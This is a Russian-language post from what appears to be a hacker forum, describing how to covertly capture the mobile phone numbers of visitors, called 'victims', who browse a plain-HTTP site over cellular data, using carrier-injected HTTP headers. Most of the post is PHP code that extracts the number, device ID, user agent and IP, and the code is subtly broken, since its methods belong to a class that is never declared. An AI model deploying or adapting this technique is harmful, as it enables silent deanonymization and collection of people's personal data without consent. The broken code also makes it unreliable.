• XSS.stack #1 – первый литературный журнал от юзеров форума

Утечка мобильного номера через браузер.

В настоящее время на рынке существует законный и соответствующий требованиям метод сбора данных, которым являются операторские большие данные.Операторские большие данные представляют собой контракт, подписанный оператором со сторонней компанией для предоставления помощи в получении данных малым и средним предприятиям и частным лицам. .

Другие случаи:
Пока жертва посещает домашнюю страницу веб-сайта, номер мобильного телефона может быть захвачен без каких-либо дополнительных действий.

Это происходит при использовании мобильных данных (4G/5G). (Веб-сайт должен быть HTTP).
Конечно, оператор может сделать следующее.
добавить зашифрованное поле в http-заголовок (содержащее номер мобильного телефона)

Пример обращения к веб-странице для получения номера мобильного телефона выглядит следующим образом:
Код:
<?php

function getPhoneNumber()
{
if (isset($_SERVER['HTTP_X_NETWORK_INFO']))
{
$str1 = $_SERVER['HTTP_X_NETWORK_INFO'];
$getstr1 = preg_replace('/(.*,)(13[\d]{9})(,.*)/i','\\2',$str1);
Return $getstr1;
}
elseif (isset($_SERVER['HTTP_X_UP_CALLING_LINE_ID']))
{
$getstr2 = $_SERVER['HTTP_X_UP_CALLING_LINE_ID'];
Return $getstr2;
}
elseif (isset($_SERVER['HTTP_X_UP_SUBNO']))
{
$str3 = $_SERVER['HTTP_X_UP_SUBNO'];
$getstr3 = preg_replace('/(.*)(13[\d]{9})(.*)/i','\\2',$str3);
Return $getstr3;
}
elseif (isset($_SERVER['DEVICEID']))
{
Return $_SERVER['DEVICEID'];
}
else
{
Return false;
}
}


function getHttpHeader()
{
$str = '';
foreach ($_SERVER as $key=>$val)
{
$gstr = str_replace("&","&amp;",$val);
$str.= "$key -> ".$gstr."\r\n";
}
Return $str;
}


function getUA()
{
if (isset($_SERVER['HTTP_USER_AGENT']))
{
Return $_SERVER['HTTP_USER_AGENT'];
}
else
{
Return false;
}
}


function getPhoneType()
{
$ua = $this->getUA();
if($ua!=false)
{
$str = explode(' ',$ua);
Return $str[0];
}
else
{
Return false;
}
}


function isOpera()
{
$uainfo = $this->getUA();
if (preg_match('/.*Opera.*/i',$uainfo))
{
Return true;
}
else
{
Return false;
}
}


function isM3gate()
{
$uainfo = $this->getUA();
if (preg_match('/M3Gate/i',$uainfo))
{
Return true;
}
else
{
Return false;
}
}


function getHttpAccept()
{
if (isset($_SERVER['HTTP_ACCEPT']))
{
Return $_SERVER['HTTP_ACCEPT'];
}
else
{
Return false;
}
}


function getIP()
{
$ip=getenv('REMOTE_ADDR');
$ip_ = getenv('HTTP_X_FORWARDED_FOR');
if (($ip_ != "") && ($ip_ != "unknown"))
{
$ip=$ip_;
}
return $ip;
}
}
$ioopdnuber = new mobile();
echo $ioopdnuber->getPhoneNumber();
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх